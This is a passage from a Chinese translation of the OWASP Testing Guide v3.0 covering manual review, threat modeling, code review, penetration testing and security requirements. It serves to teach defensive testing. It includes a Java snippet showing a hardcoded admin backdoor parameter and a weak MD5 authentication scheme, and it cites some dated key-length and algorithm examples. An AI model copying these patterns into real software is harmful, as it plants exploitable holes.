进 行 人 工 检 查 及 复 查 时 , 我 们 建 议 您 通 过 信 任 但 进 行 验 证 模 式 。 并 不 是 每 个 人 告 诉 或 展 示 给 你 的 每 件 事 都 是 准 确<br />

的 。 人 工 检 查 对 测 试 人 员 是 否 了 解 安 全 进 程 , 是 否 了 解 安 全 策 略 , 是 否 具 有 适 合 的 技 能 以 设 计 或 执 行 一 个 安 全 的 应<br />

用 程 序 十 分 有 用 。 其 它 包 括 文 件 , 代 码 安 全 策 略 , 安 全 要 求 , 构 架 设 计 的 检 查 都 应 该 使 用 人 工 检 查 的 方 式 来 完 成 。<br />

优 点 :<br />

22


OWASP 测 试 指 南 v3.0<br />

• 无 需 支 持 技 术<br />

• 可 应 用 于 各 种 不 同 的 情 况<br />

• 灵 活<br />

• 促 进 团 队 协 助<br />

• 在 软 件 开 发 生 命 周 期 早 期<br />

缺 点 :<br />

• 可 能 会 非 常 耗 时<br />

• 支 持 材 料 并 不 容 易 得 到<br />

• 需 要 大 量 的 思 考 及 技 巧 才 能 非 常 有 效 !<br />

软 件 威 胁 建 模<br />

摘 要<br />

软 件 威 胁 建 模 已 成 为 一 种 流 行 的 技 术 , 用 以 帮 助 系 统 设 计 师 思 考 他 们 的 系 统 / 应 用 程 序 可 能 面 临 的 安 全 威 胁 。 因 此 ,<br />

软 件 威 胁 建 模 可 以 被 看 作 是 应 用 风 险 评 估 。 事 实 上 , 它 能 有 效 帮 助 设 计 师 开 发 出 缓 解 潜 在 的 漏 洞 威 胁 的 战 略 , 并 帮<br />

助 他 们 将 有 限 的 资 源 和 注 意 力 集 中 在 系 统 中 最 需 要 进 行 安 全 测 试 的 部 分 。 建 议 为 所 有 的 应 用 建 立 威 胁 模 型 并 记 录 下<br />

来 。 威 胁 模 型 应 与 软 件 开 发 生 命 周 期 同 步 建 立 , 并 随 着 应 用 的 演 变 和 开 发 进 程 进 行 重 新 审 视 。 我 们 建 议 采 取 NIST 的<br />

800-30[11] 标 准 的 风 险 评 估 的 办 法 来 制 定 威 胁 模 型 。 该 方 法 包 括 :<br />

• 分 解 应 用 程 序 —— 通 过 人 工 检 查 理 解 应 用 程 序 如 何 运 作 , 它 的 资 产 , 功 能 和 连 接 。<br />

• 界 定 和 归 类 资 产 —— 将 资 产 分 为 有 形 资 产 和 无 形 资 产 并 根 据 业 务 的 重 要 性 进 行 排 名 。<br />

• 探 索 潜 在 的 弱 点 —— 无 论 是 技 术 上 , 运 营 上 , 或 是 管 理 。<br />

• 探 索 潜 在 的 威 胁 —— 通 过 使 用 威 胁 情 景 (thread scenarios) 或 攻 击 树 (attack trees), 从 攻 击 者 的 角 度 制 定 一 个 切<br />

合 实 际 的 潜 在 攻 击 矢 量 图 。<br />

• 建 立 迁 移 战 略 —— 为 每 一 个 可 能 演 变 成 破 坏 的 威 胁 制 定 迁 移 战 略 。 威 胁 模 型 本 身 的 输 入 各 有 不 同 , 但 通 常<br />

是 清 单 和 图 表 收 集 。 OWASP 代 码 审 查 指 南 简 要 指 出 , 应 用 程 序 威 胁 建 模 可 以 用 来 作 为 测 试 应 用 安 全 潜 在 漏<br />

洞 的 参 考 。 选 择 创 建 应 用 威 胁 模 型 或 者 执 行 信 息 风 险 评 估 并 没 有 正 确 错 误 之 分 [12]。<br />

优 点 :<br />

• 采 用 攻 击 者 的 思 想 对 系 统 进 行 模 拟 攻 击<br />

• 灵 活<br />

23


• 软 件 开 发 生 命 周 期 早 期<br />

缺 点 :<br />

• 相 对 新 型 的 技 术<br />

• 良 好 的 威 胁 模 型 并 不 意 味 着 自 动 产 生 良 好 的 软 件<br />

代 码 复 查<br />

概 要<br />

代 码 复 查 是 手 动 检 查 的 一 个 过 程 , 它 往 往 用 于 检 查 WEB 应 用 程 序 中 的 源 代 码 可 能 存 在 的 安 全 问 题 。 许 多 严 重 的 安 全<br />

漏 洞 不 能 被 任 何 其 它 形 式 的 分 析 或 测 试 所 检 测 到 。 有 句 俗 话 , “ 如 果 你 想 知 道 一 件 事 是 怎 幺 产 生 的 , 请 直 接 寻 找 其<br />

根 源 。” 几 乎 所 有 的 安 全 专 家 一 致 认 为 , 没 有 任 何 检 测 方 法 可 以 取 代 代 码 审 查 。 几 乎 所 有 信 息 安 全 问 题 都 被 证 实 为<br />

代 码 问 题 。 与 对 源 代 码 不 开 放 的 第 三 方 软 件 , 如 操 作 系 统 进 行 测 试 不 同 , 测 试 Web 应 用 程 序 时 ( 特 别 是 如 果 他 们 已<br />

经 完 成 内 部 定 制 ) 源 代 码 应 当 用 于 测 试 目 的 。 一 些 由 于 过 失 而 导 致 的 显 着 安 全 问 题 , 通 过 其 它 形 式 的 分 析 和 测 试 ,<br />

比 如 渗 透 测 试 是 极 其 难 以 发 现 的 , 这 也 是 在 测 试 技 术 中 源 代 码 复 查 技 术 不 可 缺 失 的 原 因 。 测 试 者 通 过 代 码 复 查 可 以<br />

准 确 判 断 接 下 来 将 发 生 什 幺 事 情 ( 或 应 该 发 生 ), 消 除 了 黑 盒 测 试 中 的 猜 测 过 程 。 源 代 码 复 查 特 别 有 利 于 发 现 以 下<br />

安 全 问 题 : 如 并 发 的 问 题 , 有 缺 陷 的 业 务 逻 辑 , 访 问 控 制 的 问 题 , 加 密 的 弱 点 , 后 门 , 木 马 , 复 活 节 彩 蛋 , 定 时 炸<br />

弹 , 逻 辑 炸 弹 , 和 其 它 形 式 的 恶 意 代 码 。 这 些 问 题 在 网 站 中 往 往 表 现 为 最 有 害 的 漏 洞 。 源 代 码 分 析 对 于 查 找 可 能 存<br />

在 的 执 行 问 题 , 比 如 某 个 需 要 输 入 验 证 的 地 方 不 能 有 效 执 行 或 打 开 控 制 进 程 失 败 是 十 分 有 效 的 。 但 是 请 记 住 , 业 务<br />

流 程 同 样 需 要 加 以 审 查 , 因 为 真 实 运 行 环 境 中 的 源 代 码 可 能 与 此 处 已 分 析 的 源 代 码 不 一 样 [13]。<br />

优 点 :<br />

• 完 整 性 和 有 效 性<br />

• 准 确<br />

• 快 速 ( 对 具 有 高 能 力 的 复 查 者 而 言 )<br />

缺 点 :<br />

• 需 要 高 度 熟 练 的 安 全 开 发 者<br />

• 可 能 错 过 存 在 于 已 编 译 好 的 类 库 中 的 问 题<br />

• 无 法 检 测 运 行 时 产 生 的 错 误<br />

• 真 实 运 行 环 境 中 的 源 代 码 可 能 与 此 处 已 分 析 的 源 代 码 不 一 样<br />

欲 了 解 关 于 代 码 审 查 的 更 多 信 息 , 查 询 OWASP 代 码 审 查 项 目 。<br />

24


OWASP 测 试 指 南 v3.0<br />

渗 透 测 试<br />

概 述<br />

渗 透 测 试 作 为 一 个 网 络 安 全 通 用 的 测 试 技 术 已 经 多 年 。 它 也 通 常 被 称 为 黑 盒 测 试 或 道 德 入 侵 (Ethical Hacking)。 渗 透<br />

测 试 在 本 质 上 是 “ 艺 术 ”, 在 不 知 道 内 部 运 作 的 应 用 程 序 本 身 的 情 况 下 , 对 正 在 运 行 的 应 用 进 行 远 程 检 测 , 发 现 安<br />

全 漏 洞 。 通 常 , 渗 透 测 试 团 队 会 假 装 成 合 法 用 户 使 用 应 用 程 序 进 行 。 测 试 者 通 过 模 拟 攻 击 者 的 攻 击 手 法 , 试 图 发 现<br />

并 利 用 安 全 漏 洞 。 通 常 情 况 下 , 测 试 者 将 得 到 一 个 有 效 的 系 统 帐 户 。 对 网 络 安 全 而 言 , 渗 透 测 试 已 被 证 明 是 一 种 非<br />

常 有 效 的 检 测 手 段 , 然 而 该 技 术 对 应 用 而 言 却 不 是 十 分 有 效 。 当 测 试 者 对 网 络 和 操 作 系 统 进 行 渗 透 测 试 时 , 大 多 数<br />

的 工 作 是 寻 找 , 然 后 采 用 具 体 技 术 对 已 知 漏 洞 加 以 利 用 。Web 应 用 程 序 几 乎 完 全 定 制 , 对 Web 应 用 进 行 渗 透 测 试<br />

更 象 是 纯 理 论 的 研 究 。 虽 然 已 经 开 发 出 来 自 动 化 渗 透 测 试 工 具 , 但 是 , 针 对 Web 应 用 程 序 的 性 质 其 效 力 通 常 很<br />

差 。 许 多 人 今 天 使 用 Web 应 用 程 序 渗 透 测 试 作 为 其 主 要 的 安 全 检 测 技 术 。 虽 然 在 测 试 过 程 中 , 其 肯 定 占 有 一 席 之<br />

地 , 然 而 , 我 们 不 认 为 它 应 被 看 作 是 主 要 的 或 唯 一 的 测 试 技 术 。Gary McGraw[14] 对 渗 透 测 试 进 行 了 总 结 , 他 说 :<br />

“ 如 果 一 个 渗 透 测 试 未 通 过 , 你 知 道 你 确 实 有 一 个 非 常 不 好 的 问 题 。 如 果 你 通 过 了 渗 透 测 试 , 你 不 知 道 你 没 有 一 个<br />

非 常 不 好 的 问 题 ”。 然 而 , 集 中 渗 透 测 试 ( 即 试 图 利 用 之 前 检 测 发 现 的 已 知 漏 洞 检 测 ) 可 用 于 检 测 某 些 特 定 的 安 全<br />

漏 洞 , 如 部 署 在 网 站 上 的 固 定 的 源 代 码 。<br />

优 点 :<br />

• 可 以 快 速 进 行 ( 因 此 便 宜 )<br />

• 需 要 较 低 的 技 能 , 相 对 于 源 代 码 复 查 而 言<br />

缺 点 :<br />

• 测 试 实 际 曝 露 的 代 码 ( 译 注 : 即 指 实 际 运 行 的 程 序 )<br />

• 软 件 开 发 生 命 周 期 晚 期<br />

• 仅 仅 测 试 前 部 影 响 !<br />

方 法 平 衡 的 需 求<br />

针 对 WEB 应 用 安 全 测 试 , 有 如 此 之 多 的 技 术 及 方 法 , 了 解 何 时 选 用 哪 一 种 技 术 进 行 测 试 非 常 困 难 。 经 验 表 明 , 选<br />

取 哪 一 种 技 术 用 于 建 立 测 试 框 架 并 没 有 对 错 之 分 。 事 实 上 , 所 有 的 技 术 都 应 该 被 适 当 采 用 以 确 保 所 有 需 要 测 试 的 范<br />

围 都 已 经 被 测 试 。 但 是 , 显 而 易 见 的 是 不 存 在 某 一 种 单 一 的 技 术 可 以 覆 盖 安 全 测 试 的 各 个 方 面 以 确 保 所 有 的 问 题 都<br />

已 涉 及 到 。 在 以 往 , 许 多 公 司 都 采 取 渗 透 测 试 这 一 种 方 法 进 行 测 试 。 虽 然 渗 透 测 试 在 一 定 程 度 上 具 有 可 用 性 , 但 是<br />

不 能 涉 及 到 所 有 需 要 测 试 的 问 题 , 并 且 对 于 软 件 开 发 生 命 周 期 而 言 , 渗 透 测 试 过 于 简 单 和 迟 来 。 正 确 的 做 法 是 采 取<br />

多 种 技 术 以 达 到 平 衡 , 包 括 人 工 检 查 和 测 试 技 术 。 方 法 平 衡 应 确 保 在 覆 盖 到 软 件 开 发 生 命 周 期 的 各 个 阶 段 。 这 种 方<br />

法 可 以 根 据 当 前 所 在 的 软 件 开 发 生 命 周 期 的 阶 段 平 衡 一 种 最 合 适 的 技 术 。 当 然 , 在 某 些 时 间 或 情 况 下 , 一 种 测 试 技<br />

术 也 是 有 可 能 的 ; 例 如 , 针 对 WEB 应 用 所 做 的 测 试 框 架 已 经 建 立 , 但 是 测 试 团 队 无 法 获 取 WEB 应 用 源 代 码 。 在 这<br />

种 情 况 下 , 渗 透 测 试 总 好 过 不 进 行 测 试 。 然 而 , 我 们 鼓 励 测 试 团 队 挑 战 假 设 , 比 如 不 能 获 取 源 代 码 时 , 探 索 其 它 更<br />

25


加 全 面 的 测 试 方 法 。 平 衡 方 式 各 不 相 同 , 这 取 决 于 许 多 因 素 , 比 如 测 试 过 程 的 成 熟 度 和 企 业 文 化 。 尽 管 如 此 , 我 们<br />

建 议 采 用 图 3 和 图 4 中 展 示 的 平 衡 框 架 。 下 图 展 示 了 测 试 技 术 在 软 件 开 发 生 命 周 期 中 一 个 典 型 的 具 有 代 表 性 的 覆 盖<br />

比 例 。 随 着 研 究 的 深 入 和 经 验 的 积 累 , 公 司 对 早 期 开 发 阶 段 的 重 视 是 非 常 重 要 的 。<br />

图 3: SDLC 各 阶 段 的 测 试 工 作 量 比 例<br />

下 图 展 示 了 测 试 技 术 在 软 件 开 发 生 命 周 期 中 一 个 典 型 的 具 有 代 表 性 的 覆 盖 比 例 。<br />

图 4: 测 试 技 术 的 测 试 工 作 量 比 例<br />

注 : 关 于 WEB 应 用 扫 描 器<br />

26


OWASP 测 试 指 南 v3.0<br />

许 多 组 织 或 企 业 已 经 开 始 使 用 自 动 WEB 应 用 扫 描 器 。 虽 然 他 们 对 目 前 的 测 试 计 划 毫 无 疑 问 , 但 是 我 们 希 望 强 调 一<br />

些 根 问 问 题 : 为 什 幺 我 们 ( 从 不 ) 不 信 任 自 动 化 黑 盒 测 试 的 有 效 性 。 通 过 强 调 这 些 问 题 , 我 们 不 鼓 励 使 用 WEB 应<br />

用 扫 描 器 。 另 外 , 我 们 所 说 的 其 局 限 性 应 当 被 充 分 了 解 , 同 时 应 当 建 立 适 用 的 测 试 框 架 。 注 : OWASP 目 前 在 正 致 力<br />

于 开 发 一 个 WEB 应 用 安 全 扫 描 基 准 平 台 。 下 面 的 例 子 将 表 明 为 什 幺 自 动 化 黑 盒 测 试 并 不 奏 效 。<br />

例 1: magic 参 数<br />

请 想 象 一 个 简 单 的 WEB 应 用 程 序 , 接 受 一 个 “magic” 的 名 称 , 然 后 赋 值 。 通 常 情 况 下 ,Get 请 求 可 能 为 :<br />

http://www.host/application?magic=value<br />

为 了 进 一 步 简 化 以 上 举 例 , 这 个 请 求 中 的 值 只 能 是 ASCII 码 a – z ( 大 写 或 小 写 ) 以 及 整 数 0–9。 该 应 用 程 序 的 设 计 者 在<br />

测 试 期 间 建 立 了 一 个 管 理 后 门 , 同 时 对 其 进 行 混 淆 已 避 免 被 其 它 人 发 现 。 通 过 输 入 值<br />

“sf8g7sfjdsurtsdieerwqredsgnfg8d (30 个 字 符 )” , 用 户 就 可 以 直 接 登 陆 并 能 够 对 该 应 用 进 行 完 全 控 制 。HTTP 请 求 如<br />

下 :<br />

http://www.host/application?magic= sf8g7sfjdsurtsdieerwqredsgnfg8d<br />

考 虑 到 其 它 所 有 参 数 都 是 简 单 的 2、3 个 字 符 , 不 可 能 开 始 猜 测 大 约 28 个 字 符 的 组 合 。 一 个 web 应 用 扫 描 器 将 需 要<br />

蛮 力 ( 或 猜 想 ) 破 解 整 整 30 个 字 符 的 关 键 空 间 。 高 达 30 ^ 28 种 排 列 , 或 万 亿 HTTP 请 求 ! 这 是 一 个 在 电 子 数 字 中<br />

大 海 捞 针 ! 这 个 典 范 magic 参 数 代 码 检 查 可 能 看 起 来 如 下 所 示 :<br />

public void doPost( HttpServletRequest request, HttpServletResponse response)<br />

{<br />

String magic = “sf8g7sfjdsurtsdieerwqredsgnfg8d”;<br />

boolean admin = magic.equals( request.getParameter(“magic”));<br />

if (admin) doAdmin( request, response);<br />

else …. // normal processing<br />

}<br />

通 过 查 看 代 码 , 该 弱 点 事 实 上 导 致 该 页 面 存 在 潜 在 问 题 。<br />

例 2: 加 密 无 效<br />

密 码 学 广 泛 应 用 于 Web 应 用 程 序 。 可 以 想 象 , 开 发 人 员 决 定 采 用 一 种 简 单 的 密 码 学 算 法 来 对 用 户 从 站 点 A 到 站 点 B<br />

进 行 自 动 认 证 。 开 发 人 员 以 其 聪 明 才 智 决 定 , 如 果 用 户 登 陆 到 站 点 A, 他 或 她 将 产 生 一 个 采 用 MD5 散 列 (Hash) 函 数<br />

进 行 加 密 的 钥 匙 , 其 内 容 包 括 “Hash { 用 户 名 : 日 期 } ”<br />

当 用 户 通 过 站 点 B, 他 或 她 将 该 钥 匙 以 询 问 字 符 串 的 形 式 通 过 HTTP 复 位 向 发 往 站 点 B。 站 点 B 通 过 独 立 计 算 Hash<br />

值 , 并 且 对 请 求 通 过 的 Hash 值 进 行 比 较 。 如 果 他 们 匹 配 , 站 点 B 则 声 称 该 用 户 是 其 标 志 用 户 。 我 们 可 以 清 楚 看<br />

到 , 像 我 们 解 释 的 那 样 , 该 计 算 可 能 执 行 失 败 或 者 被 其 它 人 看 见 它 是 如 何 计 算 的 ( 或 被 告 诉 知 它 是 如 何 运 作 的 , 或 者<br />

从 Bugtraq 可 直 接 下 载 相 关 信 息 ), 从 而 可 能 作 为 其 合 法 用 户 进 行 登 录 。 通 过 对 代 码 进 行 手 工 检 查 , 例 如 访 谈 , 将 迅<br />

27


速 揭 露 这 类 安 全 问 题 。 黑 盒 Web 应 用 程 序 扫 描 器 可 能 认 识 到 不 同 的 用 户 的 hash 值 采 用 自 然 的 方 式 在 改 变 , 但 是 并<br />

不 能 预 测 其 改 变 的 方 式 。<br />

注 : 关 于 静 态 源 代 码 复 查 工 具<br />

许 多 组 织 或 企 业 开 始 使 用 静 态 源 代 码 扫 描 器 。 毋 庸 置 疑 , 综 合 测 试 一 个 应 用 程 序 时 , 其 具 有 一 定 的 有 效 性 , 然 而 ,<br />

我 们 想 要 突 出 的 根 本 问 题 是 , 当 单 独 时 使 用 该 类 工 具 时 , 为 什 么 我 们 并 不 相 信 这 种 方 法 的 有 效 性 。 静 态 源 代 码 分 析<br />

在 设 计 不 可 能 辨 认 问 题 由 于 缺 点 , 因 为 它 不 可 能 了 解 所 开 发 代 码 的 上 下 文 。 源 代 码 分 析 工 具 是 在 确 定 由 于 编 码 错 误<br />

而 导 致 安 全 性 问 题 有 用 的 , 然 而 重 大 手 工 努 力 需 要 确 认 研 究 结 果 。<br />

安 全 需 求 测 试 推 导<br />

如 果 你 想 要 有 一 个 成 功 的 测 试 项 目 , 你 需 要 知 道 测 试 的 目 的 是 什 么 。 这 些 目 的 由 安 全 要 求 指 定 。 这 章 详 细 讨 论 了 如<br />

何 通 过 从 适 用 标 准 和 准 则 和 积 极 和 消 极 应 用 程 序 要 求 中 推 导 出 安 全 测 试 并 记 录 安 全 测 试 要 求 。 它 也 谈 论 安 全 要 求 如<br />

何 有 效 地 在 SDLC 期 间 使 用 安 全 测 试 , 如 何 使 用 安 全 测 验 数 据 有 效 地 处 理 软 件 安 全 风 险 。<br />

测 试 目 的<br />

安 全 测 试 的 目 的 之 一 是 确 认 安 全 控 制 能 如 预 期 一 样 起 作 用 。 “ 安 全 需 求 ” 文 献 描 述 了 安 全 控 制 的 功 能 。 在 高 水 平<br />

角 度 看 , 这 意 味 证 明 数 据 和 服 务 的 机 密 性 、 完 整 性 和 可 用 性 。 另 一 个 目 的 确 认 安 全 控 制 是 在 很 少 或 没 有 弱 点 的 情<br />

况 下 安 装 的 。 存 在 一 些 共 同 的 弱 点 , 例 如 OWASP 十 大 漏 洞 和 之 前 在 SDLC 期 间 进 行 安 全 评 估 所 确 认 的 漏 洞 , 例 如 软<br />

件 威 胁 建 模 , 原 代 码 分 析 和 渗 透 测 试 。<br />

安 全 需 求 文 档<br />

安 全 要 求 文 档 的 第 一 步 是 明 白 业 务 需 求 。 一 个 业 务 需 求 文 献 能 够 提 供 最 原 始 的 、 高 水 平 的 应 用 的 期 望 功 能 的 资 料 。<br />

例 如 , 应 用 的 主 要 目 的 或 许 可 以 为 顾 客 提 供 金 融 服 务 或 从 在 在 线 的 物 品 目 录 上 购 物 和 购 买 物 品 。 企 业 要 求 的 安 全 部<br />

分 应 该 突 出 表 现 为 需 要 保 护 的 顾 客 数 据 并 且 符 合 可 适 用 的 安 全 文 献 的 要 求 , 例 如 章 程 (Regulations)、 标 准<br />

(Standards) 和 政 策 (Policies)。<br />

一 般 一 个 合 适 的 章 程 , 标 准 和 政 策 清 单 适 合 初 步 的 Web 应 用 安 全 合 规 性 分 析 。 例 如 , 可 以 根 据 检 查 企 业 部 门 的 信 息<br />

和 应 用 运 行 / 经 营 的 国 家 或 者 州 的 信 息 来 确 定 是 否 符 合 章 程 。 其 中 一 些 合 规 性 指 南 和 章 程 或 许 在 安 全 控 制 所 需 要 的<br />

特 定 技 术 要 求 上 有 所 转 换 。 例 如 , 在 财 政 应 用 情 况 下 , 遵 照 FFIEC 指 南 认 证 方 面 [15] 要 求 财 政 机 关 安 装 拥 有 多 层 控<br />

制 和 多 因 素 认 证 功 能 的 应 用 软 件 来 应 对 弱 认 证 ( 带 来 的 ) 风 险 .<br />

可 适 用 的 安 全 业 界 标 准 需 要 由 一 般 安 全 要 求 清 单 决 定 。 举 个 例 子 , 在 处 理 顾 客 信 用 卡 数 据 的 应 用 情 况 下 , 遵 照 PCI<br />

DSS [16 个 ] 标 准 禁 止 PINs 和 CVV2 数 据 存 贮 , 并 且 要 求 客 户 通 过 加 密 存 储 和 传 输 和 保 密 显 示 的 方 法 保 护 磁 条 数 据 。<br />

这 样 通 过 原 始 代 码 分 析 PCI DSS 安 全 要 求 才 能 生 效 。<br />

清 单 的 另 一 个 部 分 需 要 加 强 对 符 合 组 织 信 息 安 全 标 准 和 政 策 一 般 要 求 。 从 功 能 要 求 来 看 , 安 全 控 制 要 求 需 要 在 信 息<br />

安 全 标 准 中 的 一 个 具 体 章 节 占 有 一 席 之 地 。 这 样 要 求 的 例 子 可 以 是 :“ 必 须 由 应 用 使 用 的 认 证 控 制 强 制 执 行 六 个 字<br />

母 或 数 字 字 符 的 复 杂 密 码 。“ 当 安 全 要 求 存 在 于 合 规 性 规 则 中 时 , 安 全 测 试 能 确 认 发 现 的 合 规 性 风 险 。 如 果 发 现 违<br />

反 信 息 安 全 标 准 和 政 策 行 为 , 就 导 致 一 些 能 被 记 录 并 且 必 须 处 理 的 风 险 ( 即 , 处 理 )。 为 此 , 因 为 这 些 安 全 合 规 性 要<br />

求 是 可 执 行 的 , 他 们 需 要 与 安 全 测 试 一 起 记 录 在 案 并 产 生 效 果 。<br />

28


OWASP 测 试 指 南 v3.0<br />

安 全 需 求 验 证<br />

从 功 能 上 来 看 , 安 全 测 试 的 主 要 目 标 是 确 认 安 全 要 求 。 但 是 从 风 险 管 理 角 度 看 , 确 认 安 全 要 求 却 是 信 息 安 全 评 估 的<br />

目 标 。 从 更 高 层 次 考 虑 , 信 息 安 全 评 估 的 主 要 目 标 是 确 认 安 全 控 制 中 的 差 异 , 例 如 缺 乏 基 本 验 证 、 授 权 或 者 加 密 控<br />

制 。 更 深 入 分 析 , 安 全 评 估 宗 旨 是 风 险 分 析 , 例 如 在 安 全 控 制 中 找 出 潜 在 的 弱 点 就 保 证 了 数 据 保 密 性 , 完 整 性 和 有<br />

效 性 。 再 例 如 , 当 应 用 程 序 处 理 了 个 人 可 识 别 的 信 息 (Personal Identifiable Information, PII) 和 敏 感 数 据 , 安<br />

全 要 求 会 按 照 公 司 信 息 安 全 策 略 的 要 求 对 这 些 数 据 在 传 输 和 存 储 过 程 中 加 密 。 如 果 加 密 是 为 了 保 护 数 据 安 全 , 那 幺<br />

加 密 算 法 和 关 键 字 长 度 需 要 符 合 组 织 加 密 标 准 。 这 也 许 会 要 求 只 能 使 用 某 些 算 法 和 关 键 词 长 度 。 例 如 , 能 通 过 安 全<br />

测 试 的 一 条 安 全 要 求 说 明 : 只 允 许 规 定 最 小 密 钥 长 度 的 加 密 算 法 ( 如 , 对 称 加 密 长 度 必 须 超 过 128 位 和 不 对 称 的 加<br />

密 长 度 必 须 超 过 1024 位 )。( 如 ,SHA-1、RSA, 3DES 算 法 )。<br />

从 安 全 评 估 角 度 看 , 在 SDLC 的 不 同 阶 段 , 使 用 不 同 的 测 试 工 具 和 测 试 方 法 能 证 实 安 全 要 求 。 例 如 , 威 胁 模 型 在 设<br />

计 阶 段 能 识 别 安 全 漏 洞 , 安 全 代 码 分 析 和 审 查 能 在 发 展 阶 段 在 源 代 码 中 发 现 安 全 问 题 , 渗 透 测 试 能 在 测 试 / 确 认 时<br />

在 应 用 阶 段 发 现 漏 洞 。<br />

在 SDLC 较 早 阶 段 发 现 的 安 全 问 题 需 要 在 测 试 计 划 中 记 录 下 来 , 以 便 能 使 用 安 全 测 试 证 实 这 些 安 全 问 题 。 通 过 结 合<br />

各 种 测 试 技 术 的 检 测 结 果 , 就 能 得 到 更 好 的 安 全 测 试 案 例 , 同 时 增 加 安 全 需 求 的 可 信 度 。 例 如 , 结 合 渗 透 测 试 和 源<br />

代 码 分 析 的 结 果 能 区 分 真 正 的 漏 洞 和 未 被 利 用 的 漏 洞 。 例 如 , 在 了 解 到 SQL 注 入 漏 洞 的 安 全 测 试 后 , 黑 盒 测 试 能<br />

最 先 使 用 应 用 扫 描 去 发 现 漏 洞 。 发 现 潜 在 SQL 注 入 漏 洞 存 的 第 一 个 证 据 就 是 产 生 了 SQL exception。 进 一 步 检 测<br />

SQL 漏 洞 也 许 需 要 利 用 手 工 注 入 攻 击 载 体 去 修 改 导 致 信 息 泄 露 的 SQL 查 询 的 语 法 。 这 也 许 需 要 多 次 反 复 试 验 分 析 ,<br />

直 到 恶 意 查 询 执 行 为 止 。 如 果 测 试 者 有 源 代 码 , 她 就 能 从 源 代 码 中 分 析 出 如 何 构 建 能 发 现 漏 洞 的 SQL 攻 击 载 体 ( 如<br />

执 行 恶 意 查 询 能 使 未 授 权 用 户 得 到 机 密 数 据 )。<br />

威 胁 和 对 策 分 类<br />

威 胁 和 对 策 分 类 考 虑 了 弱 点 产 生 根 源 , 是 证 明 安 全 控 制 在 设 计 , 编 码 和 建 立 的 重 要 因 素 。 因 此 , 利 用 这 些 漏 洞 所 产<br />

生 的 影 响 已 经 缓 和 。 在 Web 应 用 案 例 中 , 针 对 普 通 漏 洞 的 安 全 控 制 措 施 , 如 OWASP TOP Ten, 是 获 得 一 般 安 全 要 求<br />

的 一 个 好 的 开 始 。 更 具 体 地 说 ,web 应 用 安 全 框 架 提 供 了 漏 洞 的 分 类 , 以 便 能 按 照 不 同 的 指 南 和 标 准 记 载 这 些 漏<br />

洞 , 在 以 后 的 安 全 测 试 中 能 确 认 这 些 漏 洞 。<br />

威 胁 和 对 策 分 类 的 焦 点 是 根 据 威 胁 和 弱 点 的 起 因 定 义 安 全 要 求 。 威 胁 可 以 使 用 STRIDE 分 类 [18], 例 如 , 欺 骗<br />

(Spoofing), 窜 改 (Tempering), 否 认 (Repudiation), 信 息 透 露 (Information Disclosure)、 拒 绝 服 务 (Denial<br />

of Service) 和 特 权 提 升 (Elevation of Privilege)。 弱 点 起 因 可 以 分 为 设 计 阶 段 的 安 全 漏 洞 , 编 码 阶 段 的 安 全<br />

漏 洞 , 或 不 安 全 配 置 问 题 。 例 如 : 当 数 据 在 客 户 和 应 用 的 服 务 器 层 的 可 信 任 界 外 时 , 微 弱 认 证 漏 洞 的 起 因 可 能 是 由<br />

于 缺 乏 互 相 认 证 。 安 全 要 求 在 架 构 设 计 审 查 阶 段 获 得 的 认 可 威 胁 , 并 允 许 记 录 对 策 要 求 ( 即 : 互 相 认 证 )。 而 这 些<br />

对 策 能 在 后 来 的 安 全 测 试 中 得 到 确 认 。<br />

弱 点 的 威 胁 和 对 策 分 类 同 样 能 用 于 记 录 关 于 安 全 编 码 的 安 全 要 求 。 如 , 安 全 编 码 标 准 。 认 证 控 制 中 一 个 共 同 编 码 错<br />

误 的 例 子 包 含 应 用 Hash 功 能 加 密 密 码 , 而 不 是 seed 增 加 价 值 。 从 安 全 编 码 角 度 看 来 , 漏 洞 利 用 编 码 错 误 中 的 漏 洞<br />

起 因 影 响 了 认 证 加 密 。 既 然 漏 洞 起 因 是 不 安 全 编 码 , 安 全 要 求 会 在 安 全 编 码 标 准 中 记 载 并 通 过 在 SDLC 的 发 展 阶 段<br />

进 行 安 全 编 码 审 查 确 认 。<br />

安 全 测 试 和 风 险 分 析<br />

29


安 全 要 求 需 要 考 虑 到 弱 点 的 严 重 性 从 而 支 持 一 个 风 险 缓 和 的 策 略 。 假 设 某 组 织 维 护 一 个 在 应 用 系 统 中 发 现 的 漏 洞 数<br />

据 库 , 即 : 漏 洞 知 识 库 , 安 全 事 件 可 以 通 过 类 型 , 事 件 , 缓 和 和 起 因 报 告 出 来 并 映 像 到 它 们 被 发 现 的 应 用 系 统 中 。<br />

在 整 个 SDLC 过 程 中 , 这 样 的 漏 洞 知 识 库 可 以 也 用 于 测 量 分 析 安 全 测 试 的 有 效 性 。<br />

例 如 , 考 虑 到 输 入 的 验 证 事 件 , 如 SQL 注 入 就 是 通 过 源 代 码 分 析 被 识 别 , 并 且 回 报 错 误 编 码 起 因 和 输 入 验 证 的 漏 洞<br />

类 别 。 这 样 漏 洞 发 现 可 以 通 过 渗 透 测 试 评 估 到 , 即 从 几 个 SQL 注 入 攻 击 矢 量 探 测 输 入 领 域 。 这 个 测 试 能 验 证 击 特 殊<br />

字 符 在 到 达 数 据 库 之 前 被 过 滤 掉 。 通 过 结 合 源 代 码 分 析 和 渗 透 测 试 , 就 可 能 确 定 弱 点 的 相 似 性 及 漏 洞 泄 露 , 并 计 算<br />

出 弱 点 的 风 险 等 级 。 通 过 报 告 研 究 结 果 中 的 弱 点 风 险 等 级 ( 如 , 测 试 报 告 ) 就 可 能 决 策 出 缓 和 战 略 。 例 如 , 高 等 及 中<br />

等 风 险 漏 洞 需 优 先 被 修 补 , 而 低 风 险 的 漏 洞 则 可 以 在 更 后 面 的 发 布 中 被 修 补 。<br />

通 过 利 用 普 通 弱 点 的 安 全 威 胁 方 案 , 来 识 别 需 要 进 行 安 全 测 试 的 应 用 程 序 安 全 控 制 中 潜 在 的 风 险 。 比 如 , OWASP 名<br />

列 前 十 的 弱 点 可 以 被 映 像 到 的 攻 击 例 如 : 钓 鱼 (Phishing), 侵 害 隐 私 (Privacy Violations), 身 份 盗 窃 (Identity Theft)、 系<br />

统 破 坏 (System Compromise)、 数 据 更 改 或 者 数 据 破 坏 、 金 融 损 失 (Financial) 及 名 誉 损 失 (Reputation Loss)。 这 些 事 件 应<br />

该 归 类 到 威 胁 方 案 中 的 一 部 分 。 在 考 虑 到 安 全 威 胁 和 弱 点 时 , 可 以 构 想 出 一 系 列 测 试 来 模 仿 攻 击 情 景 。 理 想 地 说 ,<br />

